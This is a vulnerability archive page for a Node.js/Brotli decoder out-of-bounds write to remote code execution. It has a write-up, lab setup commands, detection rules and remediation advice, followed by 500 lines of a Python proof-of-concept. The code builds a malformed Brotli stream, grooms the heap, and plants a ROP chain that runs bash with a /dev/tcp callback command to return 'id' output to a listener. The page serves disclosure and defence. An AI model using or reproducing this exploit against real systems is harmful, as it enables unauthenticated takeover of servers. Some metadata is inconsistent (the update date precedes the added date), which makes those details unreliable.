PoC Archive PoC Archive
CVE-2026-111497 category: binary CVSS 9.8 (CRITICAL) KEV EPSS 100%
Patched

Node2Shell — Node.js Brotli Decoder OOB Write to RCE (CVE-2026-111497)

Published: 2026-11-25 • Researcher: dimasma0305 (PoC); Imperva (research)

Target software Google Brotli decoder; Node.js (bundled Brotli in zlib) and downstream consumers
Affected versions Node.js 22.x before 22.23.4, 23.0.0–24.22.1, 25.0.0–26.12.1; Brotli 1.0.3–1.0.10, 1.1.0–1.1.1, 1.2.0–1.2.1. NVD also lists .NET, Bun, Istio, Envoy, Python brotlicffi and others (see references)
Status Weaponized (lab-verified, probabilistic)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV EPSS 100%

Confirmed exploited in the wild. Added to CISA KEV 2026-10-27. Federal remediation deadline 2026-11-10.

EPSS 100.0% · 100th percentile

Severity
Critical
CVE
CVE-2026-111497
Category
binary
Affected product
Google Brotli decoder; Node.js (bundled Brotli in zlib) and downstream consumers
Affected versions
Node.js 22.x before 22.23.4, 23.0.0–24.22.1, 25.0.0–26.12.1; Brotli 1.0.3–1.0.10, 1.1.0–1.1.1, 1.2.0–1.2.1. NVD also lists .NET, Bun, Istio, Envoy, Python brotlicffi and others (see references)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-25
Author / Researcherdimasma0305 (PoC); Imperva (research)
CVE / AdvisoryCVE-2026-111497
Categorybinary
SeverityCritical
CVSS Score9.8 (NVD CVSSv3.1); vendor CVSS 4.0: 9.2
StatusWeaponized (lab-verified, probabilistic)
TagsRCE, Node.js, Brotli, OOB-write, heap-overflow, Express, body-parser, ROP, ASLR, unauthenticated, in-the-wild
RelatedN/A

Affected Target

FieldValue
Software / SystemGoogle Brotli decoder; Node.js (bundled Brotli in zlib) and downstream consumers
Versions AffectedNode.js 22.x before 22.23.4, 23.0.0–24.22.1, 25.0.0–26.12.1; Brotli 1.0.3–1.0.10, 1.1.0–1.1.1, 1.2.0–1.2.1. NVD also lists .NET, Bun, Istio, Envoy, Python brotlicffi and others (see references)
Language / PlatformC / C++ decoder, JavaScript runtime; Linux x86_64 reference lab, Node.js on other platforms in scope
Authentication RequiredNo
Network Access RequiredYes

Summary

Node2Shell is an out-of-bounds write in Google Brotli’s decoder that is reachable from Node.js because Node bundles Brotli in zlib. A malformed Brotli block-switch makes the decoder’s block-type-length routine return a false/zero value in a case where zero also means success; callers misread the result, the block length underflows, and a crafted stream drives a controlled write past the decoder’s ring buffer. Express 5 / body-parser 2.x transparently decode Content-Encoding: br request bodies, so an unauthenticated POST can reach the bug. The included PoC is network-only and verifies RCE by returning fresh id output on the request socket in pinned Node 24.22.0 Express labs; other affected applications are verified as DoS.

Vulnerability Details

Root Cause

In DecodeBlockTypeAndLength(), a stream that requests a block-type switch in a category with at most one declared type returns BROTLI_FALSE. The streaming (safe-mode) caller interprets that false return as “needs more input” and saves state permanently at BROTLI_STATE_COMMAND_BEGIN; the non-safe/batch path discards the return value, so block_length[1] underflows to UINT32_MAX and later array accesses write outside the decoder’s output buffer. The upstream fix adds BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH (-17) and makes callers stop on it. Node.js’s bundled decoder exposes the bug through zlib.brotliDecompress() and through HTTP body decompression.

Attack Vector

An attacker sends a crafted Brotli stream to an application that decodes attacker-controlled Brotli data. The reference vector is an unauthenticated POST with Content-Type: application/json and Content-Encoding: br to an Express 5 / body-parser 2.x route; body-parser decompresses before the route handler runs. Other vectors include a Node.js fetch()/undici client consuming an attacker-controlled Brotli response, and direct calls to zlib.brotliDecompress(). The PoC grooms the heap, drives the 16-byte OOB write, and — in the pinned lab profile — redirects a saved return address into a ROP chain that writes id output to the request socket.

Impact

Remote code execution as the Node.js process user in the pinned Express lab, or denial of service (process crash) in the other verified profiles. Because Brotli is embedded in many runtimes and proxies, the blast radius extends beyond Node.js; the NVD CPE list includes .NET, Bun, Istio, Envoy, Python brotlicffi, and other consumers. The PoC’s RCE is probabilistic and profile-specific: it depends on the exact Node binary, one libuv worker, accepted socket fd 19, the restart supervisor, and an ASLR address guess.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker; reference host is Debian bookworm)
Target:      Node.js v24.22.0 with Express 5.3.0 and body-parser 2.4.0
Attacker:    Python 3.10+ (stdlib only), loopback access
Tools:       Docker, Python 3, curl
Supervisor:  restart loop with UV_THREADPOOL_SIZE=1 (part of the tested profile)

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
docker build --pull --platform linux/amd64 \
  -t cve-2026-111497-lab:v24.22.0-express \
  -f lab/express-body-parser/Dockerfile lab/express-body-parser

docker run --platform linux/amd64 -d --name cve-111497-express \
  --entrypoint sh -e UV_THREADPOOL_SIZE=1 -p 127.0.0.1:3000:3000 \
  cve-2026-111497-lab:v24.22.0-express \
  -lc "while true; do node /app/server.js; sleep 0.1; done"

python3 poc.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 --timeout 30

Proof of Concept

Step-by-Step Reproduction

  1. Start the pinned lab — Node v24.22.0, Express 5.3.0, body-parser 2.4.0, one libuv worker, restart supervisor.
  2. Send the trigger — poc.py sends a Content-Encoding: br JSON request whose Brotli stream contains the impossible block-switch sequence and the heap-grooming layout for the selected profile.
  3. Reset ASLR if the guess misses — the PoC uses the network crash primitive to make the supervisor restart the worker, then retries with a fresh layout (up to 16 fresh processes by default).
  4. Verify — success is a fresh uid=/gid= line received on the HTTP request socket; the PoC exits nonzero unless it observes the complete id output.

Exploit Code

See poc.py and the pinned profile registry in profiles.json. The upstream write-up is upstream-README.md.

The PoC is profile-driven rather than a single universal payload. The profile fixes the Node binary, allocator layout, callback host/port, and ROP/gadget offsets; the stream itself is built in poc.py from the Brotli bit-writer and the block-switch trigger.

Expected Output

Output
1
2
3
4
5
PASS: RCE verified by fresh id output through the declared interface
profile=node-24.22.0-express-5.3.0-bookworm-x86_64
proof_channel=HTTP request socket stdout
proof_command=id
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)

Profiles marked DoS verified (stock zlib, fetch, undici, axios, NestJS, Koa, Next.js) crash the service without RCE.

Detection & Indicators of Compromise

  • Node.js process crash loops (SIGSEGV, exit 139) with restart supervision, especially after large Content-Encoding: br requests.
  • Content-Encoding: br on JSON API routes where clients normally send plain JSON; large compressed bodies (the reference payload is multi-MB).
  • Brotli decode errors / BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH in application or proxy logs on patched builds.
  • Version fingerprints: Node.js 22.x < 22.23.4, 24.x < 24.22.1, 26.x < 26.12.1; Brotli 1.0.3–1.0.10, 1.1.0–1.1.1, 1.2.0–1.2.1.
  • Unusual outbound callback traffic from a Node worker after a request burst (the RCE chain returns command output on the request socket in the lab; other chains may call back).

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"Node2Shell Brotli request body"; \
  content:"Content-Encoding|3a| br"; http_header; \
  content:"application/json"; http_header; sid:9002611;)

Remediation

ActionDetail
PatchUpgrade Node.js to 22.23.4, 24.22.1 or 26.12.1 (or later). Upgrade Brotli to 1.0.10, 1.1.1 or 1.2.1. Rebuild/redeploy anything statically linking Brotli.
WorkaroundReject Content-Encoding: br at the edge or in the framework if Brotli request decoding is not required; disable automatic response decompression for untrusted origins where possible.
Config HardeningCap request body size and decompressed size, isolate Node workers, monitor crash loops, and inventory downstream consumers (.NET, Bun, Istio, Envoy, Python brotlicffi, etc.).

References

Notes

Auto-ingested from https://github.com/dimasma0305/CVE-2026-111497-POC on 2026-11-25 (MIT). The upstream lab’s package-lock.json is not vendored because this archive does not copy lock files; the included Dockerfile was adjusted from npm ci to npm install. The full upstream lab tree (including other profiles and evidence recordings) is available at the source repository.

Review of candidates: dimasma0305/CVE-2026-111497-POC was selected because it is licensed, network-only, and ships a profile registry with explicit RCE verified / DoS verified statuses plus recorded evidence. Ghost-Bx1/Node2Shell-CVE-2026-111497 (MIT) is a large exploit/PoC but its RCE chain was not corroborated by a lab record; Rabbitbong/node2shell, veritas1209/Node2shell and syrex1013/CVE-2026-111497-node2shell are credible independent PoCs but are either unlicensed or less directly reproducible. CaterMaoZi/CVE-2026-111497-POC is explicitly a probe/fuzzer with no public exploit and was excluded as a detector/research tool, not a PoC.

The RCE is probabilistic and exact-profile; do not generalize the lab result to every Express deployment. The PoC only targets loopback hosts by construction. Run only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/dimasma0305/CVE-2026-111497-POC (MIT)
"""Network-only local-lab reproducer for CVE-2026-111497."""

from __future__ import annotations

import argparse
import hashlib
import http.client
import ipaddress
import json
import pathlib
import re
import secrets
import socket
import struct
import sys
import threading
import time
import urllib.parse

TRIGGER_SHA256 = "b7a6508eb39ef57ae5e3fdf9aa85540071a06eff5d5b5a2d359fc8e1768e4df4"
DEFAULT_PORT = 3000
ALLOWED_TARGET_HOSTS = frozenset({"127.0.0.1", "::1", "localhost"})
ID_OUTPUT = re.compile(
    r"uid=\d+(?:\([^)\r\n]+\))?\s+gid=\d+(?:\([^)\r\n]+\))?"
    r"(?:\s+groups=.*)?"
)
ROOT = pathlib.Path(__file__).resolve().parent
REGISTRY = ROOT / "profiles.json"


def load_profiles() -> dict[str, dict]:
    registry = json.loads(REGISTRY.read_text(encoding="utf-8"))
    profiles = {profile["id"]: profile for profile in registry["profiles"]}
    if len(profiles) != len(registry["profiles"]):
        raise RuntimeError("profiles.json contains duplicate profile IDs")
    allowed = {"RCE verified", "DoS verified"}
    unsupported = {
        profile_id: profile["status"]
        for profile_id, profile in profiles.items()
        if profile["status"] not in allowed
    }
    if unsupported:
        raise RuntimeError(f"unsupported profile statuses: {unsupported}")
    return profiles


class Bits:
    """Least-significant-bit-first writer for Brotli stream fields."""

    def __init__(self) -> None:
        self.data = bytearray()
        self.value = 0
        self.used = 0

    def put(self, value: int, count: int) -> None:
        for bit_index in range(count):
            self.value |= ((value >> bit_index) & 1) << self.used
            self.used += 1
            if self.used == 8:
                self.data.append(self.value)
                self.value = 0
                self.used = 0

    def aligned(self, value: bytes) -> None:
        if self.used:
            raise ValueError("writer is not byte-aligned")
        self.data.extend(value)

    def finish(self) -> bytes:
        if self.used:
            self.data.append(self.value)
            self.value = 0
            self.used = 0
        return bytes(self.data)


def one_symbol_tree(bits: Bits, alphabet_size: int, symbol: int) -> None:
    bits.put(1, 2)
    bits.put(0, 2)
    bits.put(symbol, (alphabet_size - 1).bit_length())


def varlen_u8(bits: Bits, value: int) -> None:
    if value == 0:
        bits.put(0, 1)
        return
    bits.put(1, 1)
    if value == 1:
        bits.put(0, 3)
        return
    width = value.bit_length() - 1
    bits.put(width, 3)
    bits.put(value - (1 << width), width)


def generate_stream() -> bytes:
    bits = Bits()

    bits.put(1, 1)
    bits.put(0, 3)
    bits.put(2, 3)

    bits.put(0, 1)
    bits.put(2, 2)
    bits.put(0xFFFFFF, 24)
    bits.put(0, 1)

    varlen_u8(bits, 0)
    varlen_u8(bits, 1)
    one_symbol_tree(bits, 4, 0)
    one_symbol_tree(bits, 26, 25)
    bits.put(0xFFFFFF, 24)
    varlen_u8(bits, 0)
    bits.put(3, 6)
    bits.put(0, 2)
    varlen_u8(bits, 0)
    varlen_u8(bits, 0)

    one_symbol_tree(bits, 256, 0)
    one_symbol_tree(bits, 704, 130)
    one_symbol_tree(bits, 704, 130)
    one_symbol_tree(bits, 400, 184)

    distance_extra = 4
    command_count = 1 << 24
    completed = 0
    while bits.used and completed < command_count:
        bits.put(distance_extra, 11)
        completed += 1

    group = Bits()
    for _ in range(8):
        group.put(distance_extra, 11)
    group_bytes = group.finish()
    groups, tail = divmod(command_count - completed, 8)
    bits.aligned(group_bytes * groups)
    for _ in range(tail):
        bits.put(distance_extra, 11)

    return bits.finish()


def generate_rce_stream(prefix: bytes, command_block_extra: int) -> bytes:
    if len(prefix) > 0x10000:
        raise ValueError("RCE prefix is too large")

    bits = Bits()
    bits.put(1, 1)
    bits.put(0, 3)
    bits.put(2, 3)

    if prefix:
        bits.put(0, 1)
        bits.put(0, 2)
        bits.put(len(prefix) - 1, 16)
        bits.put(1, 1)
        if bits.used:
            bits.put(0, 8 - bits.used)
        bits.aligned(prefix)

    bits.put(0, 1)
    bits.put(2, 2)
    bits.put(0xFFFFFF, 24)
    bits.put(0, 1)
    varlen_u8(bits, 0)
    varlen_u8(bits, 1)
    one_symbol_tree(bits, 4, 0)
    one_symbol_tree(bits, 26, 25)
    if not 0 <= command_block_extra <= 0xFFFFFF:
        raise ValueError("command block extra must fit in 24 bits")
    bits.put(command_block_extra, 24)
    varlen_u8(bits, 0)
    bits.put(3, 6)
    bits.put(0, 2)
    varlen_u8(bits, 0)
    varlen_u8(bits, 0)
    one_symbol_tree(bits, 256, 0)
    one_symbol_tree(bits, 704, 130)
    one_symbol_tree(bits, 704, 130)
    one_symbol_tree(bits, 400, 184)

    distance_extra = (len(prefix) + 32) // 8
    command_count = 1 << 24
    completed = 0
    while bits.used and completed < command_count:
        bits.put(distance_extra, 11)
        completed += 1

    group = Bits()
    for _ in range(8):
        group.put(distance_extra, 11)
    group_bytes = group.finish()
    groups, tail = divmod(command_count - completed, 8)
    bits.aligned(group_bytes * groups)
    for _ in range(tail):
        bits.put(distance_extra, 11)
    return bits.finish()


def resolve_loopback(host: str, port: int) -> list[tuple]:
    if host != host.strip():
        raise RuntimeError("target host contains surrounding whitespace")
    normalized_host = host.lower()
    if normalized_host not in ALLOWED_TARGET_HOSTS:
        allowed = ", ".join(sorted(ALLOWED_TARGET_HOSTS))
        raise RuntimeError(
            f"target host must be one of the fixed local-lab hosts: {allowed}"
        )

    targets = socket.getaddrinfo(
        normalized_host, port, type=socket.SOCK_STREAM
    )
    if not targets:
        raise RuntimeError(f"host did not resolve: {host}")
    non_loopback = [
        target[4][0]
        for target in targets
        if not ipaddress.ip_address(target[4][0]).is_loopback
    ]
    if non_loopback:
        raise RuntimeError(
            f"refusing non-loopback target {host}: {', '.join(non_loopback)}"
        )
    return targets


def connect_target(targets: list[tuple], timeout: float) -> socket.socket:
    last_error: OSError | None = None
    for family, socktype, protocol, _, address in targets:
        connection = socket.socket(family, socktype, protocol)
        connection.settimeout(min(timeout, 2.0))
        try:
            connection.connect(address)
            connection.settimeout(timeout)
            return connection
        except OSError as error:
            last_error = error
            connection.close()
    if last_error is None:
        raise RuntimeError("no resolved loopback target")
    raise last_error


def receive_line(connection: socket.socket, limit: int = 256) -> bytes:
    data = bytearray()
    while len(data) < limit:
        chunk = connection.recv(1)
        if not chunk:
            break
        data.extend(chunk)
        if chunk == b"\n":
            break
    return bytes(data)


def framed_healthcheck(targets: list[tuple], timeout: float) -> bool:
    try:
        with connect_target(targets, timeout) as connection:
            connection.sendall(framed(b""))
            return receive_line(connection) == b"PONG\n"
    except OSError:
        return False


def framed(data: bytes) -> bytes:
    return struct.pack(">I", len(data)) + data


def trigger_stages() -> tuple[bytes, bytes]:
    trigger = generate_stream()
    digest = hashlib.sha256(trigger).hexdigest()
    if digest != TRIGGER_SHA256:
        raise RuntimeError(f"trigger hash mismatch: {digest}")

    first = trigger + b"\x00" * 3
    second = bytearray(127)
    second[7] = 8
    struct.pack_into("<i", second, 15, 0x7FFFFFFF)
    struct.pack_into("<I", second, 19, 0x7FFFFFFF)
    struct.pack_into("<I", second, 23, 0x7FFFFFFF)
    return first, bytes(second)


def profile_int(profile: dict, name: str) -> int:
    value = profile["probe"][name]
    return int(value, 0) if isinstance(value, str) else int(value)


def rce_stage_two(pos: int, size: int) -> bytes:
    if size < 27:
        raise ValueError("RCE stage two must be at least 27 bytes")
    body = bytearray(size)
    body[7] = 8
    struct.pack_into("<i", body, 15, pos)
    struct.pack_into("<I", body, 19, 0x7FFFFFFF)
    struct.pack_into("<I", body, 23, 0x7FFFFFFF)
    return bytes(body)


def rce_stage_one(
    target: int,
    command_block_extra: int,
    proof_payload: bytes | None = None,
) -> bytes:
    prefix = bytearray(1024)
    if proof_payload:
        if len(proof_payload) > 512:
            raise ValueError("RCE proof payload exceeds 512 bytes")
        prefix[: len(proof_payload)] = proof_payload

    pair = struct.pack("<QQ", target, target)
    start = 71 if not proof_payload else len(proof_payload) + (
        (7 - len(proof_payload)) % 16
    )
    for offset in range(start, len(prefix) - 15, 16):
        prefix[offset : offset + 16] = pair
    return generate_rce_stream(bytes(prefix), command_block_extra) + b"\x00" * 3


def build_rce_payload(
    profile: dict,
    callback_host: str,
    callback_port: int,
    token: str,
) -> bytes:
    if not re.fullmatch(r"[A-Za-z0-9.-]+", callback_host):
        raise RuntimeError("callback host contains unsupported characters")
    allowed_hosts = profile["probe"]["callback_hosts"]
    if callback_host not in allowed_hosts:
        raise RuntimeError(
            f"callback host must be one of the profile allowlist: {allowed_hosts}"
        )

    base = profile_int(profile, "bss_payload")
    gadget = profile_int(profile, "callback_gadget")
    execvp_plt = profile_int(profile, "execvp_plt")
    command = (
        f"exec 3<>/dev/tcp/{callback_host}/{callback_port};"
        f"printf '{token}\\n'>&3;id >&3"
    )

    data = bytearray(512)
    data[:8] = b"RCEPROOF"
    context_offset_value = profile["probe"].get("context_offset", 0x40)
    context_offset = (
        int(context_offset_value, 0)
        if isinstance(context_offset_value, str)
        else int(context_offset_value)
    )
    context = base + context_offset
    filename = base + 0x100
    argv = base + 0x110
    option_c = base + 0x140
    command_address = base + 0x150
    struct.pack_into("<Q", data, 0x08, gadget)
    struct.pack_into("<Q", data, 0x20, context)
    struct.pack_into("<Q", data, context_offset + 0x98, filename)
    struct.pack_into("<Q", data, context_offset + 0xA0, argv)
    struct.pack_into("<Q", data, context_offset + 0xA8, execvp_plt)
    data[0x100 : 0x10A] = b"/bin/bash\0"
    struct.pack_into("<QQQQ", data, 0x110, filename, option_c, command_address, 0)
    data[0x140 : 0x143] = b"-c\0"
    encoded_command = command.encode("ascii") + b"\0"
    if 0x150 + len(encoded_command) > len(data):
        raise RuntimeError("fixed id proof command does not fit the RCE payload")
    data[0x150 : 0x150 + len(encoded_command)] = encoded_command
    return bytes(data)


def receive_at_least(
    connection: socket.socket,
    minimum: int,
    limit: int,
) -> bytes:
    data = bytearray()
    while len(data) < minimum and len(data) < limit:
        part = connection.recv(min(65536, limit - len(data)))
        if not part:
            break
        data.extend(part)
    return bytes(data)


def receive_to_close(connection: socket.socket, limit: int = 1024) -> bytes:
    data = bytearray()
    while len(data) < limit:
        part = connection.recv(min(512, limit - len(data)))
        if not part:
            break
        data.extend(part)
    return bytes(data)


def verify_id_proof(token: str, proof: bytes, peer: str) -> str:
    text = proof.decode("ascii", errors="replace")
    prefix = f"{token}\n"
    if not text.startswith(prefix):
        raise RuntimeError(f"callback token mismatch from {peer}: {text!r}")
    identity = text[len(prefix) :].strip()
    if ID_OUTPUT.fullmatch(identity) is None:
        raise RuntimeError(
            f"callback did not contain complete id output from {peer}: "
            f"{identity!r}"
        )
    return identity


def rce_attack(
    profile: dict,
    targets: list[tuple],
    timeout: float,
    callback_bind: str,
    callback_host: str,
    callback_port: int,
) -> tuple[str, str, str]:
    if callback_bind not in {"127.0.0.1", "0.0.0.0"}:
        raise RuntimeError("callback bind must be 127.0.0.1 or 0.0.0.0")
    if not 1 <= callback_port <= 65535:
        raise RuntimeError("callback port must be between 1 and 65535")

    token = f"CVE111497_{secrets.token_hex(16)}"
    proof_payload = build_rce_payload(
        profile, callback_host, callback_port, token
    )
    groom_first = rce_stage_one(
        profile_int(profile, "groom_word"),
        profile_int(profile, "groom_command_block_extra"),
    )
    poison_first = rce_stage_one(
        profile_int(profile, "bss_payload"),
        profile_int(profile, "poison_command_block_extra"),
        proof_payload,
    )

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((callback_bind, callback_port))
        listener.listen(1)
        listener.settimeout(timeout)

        with connect_target(targets, timeout) as groom:
            groom.sendall(framed(groom_first))
            acknowledgement = receive_line(groom)
            if acknowledgement != b"ACK\n":
                raise RuntimeError(
                    f"groom stage was not accepted: {acknowledgement!r}"
                )
            groom.sendall(
                framed(
                    rce_stage_two(
                        profile_int(profile, "groom_staged_pos"), 127
                    )
                )
            )
            groom_output = receive_at_least(groom, 16384, 65536)
            if len(groom_output) < 16384:
                raise RuntimeError(
                    "groom connection ended before the required output"
                )

            with connect_target(targets, timeout) as exploit:
                exploit.sendall(framed(poison_first))
                acknowledgement = receive_line(exploit)
                if acknowledgement != b"ACK\n":
                    raise RuntimeError(
                        f"poison stage was not accepted: {acknowledgement!r}"
                    )
                exploit.sendall(
                    framed(
                        rce_stage_two(
                            profile_int(profile, "poison_staged_pos"), 27
                        )
                    )
                )

                callback, peer = listener.accept()
                with callback:
                    callback.settimeout(min(timeout, 5.0))
                    proof = receive_to_close(callback)
                identity = verify_id_proof(token, proof, peer[0])
                return peer[0], token, identity


def framed_attack(targets: list[tuple], timeout: float) -> bytes:
    first, second = trigger_stages()

    with connect_target(targets, timeout) as connection:
        connection.sendall(framed(first))
        acknowledgement = receive_line(connection)
        if acknowledgement.startswith(b"ERR "):
            return acknowledgement
        if acknowledgement != b"ACK\n":
            raise RuntimeError(
                f"first stage was not accepted: {acknowledgement!r}"
            )
        connection.sendall(framed(second))
        try:
Showing 500 of 1186 lines View full file on GitHub →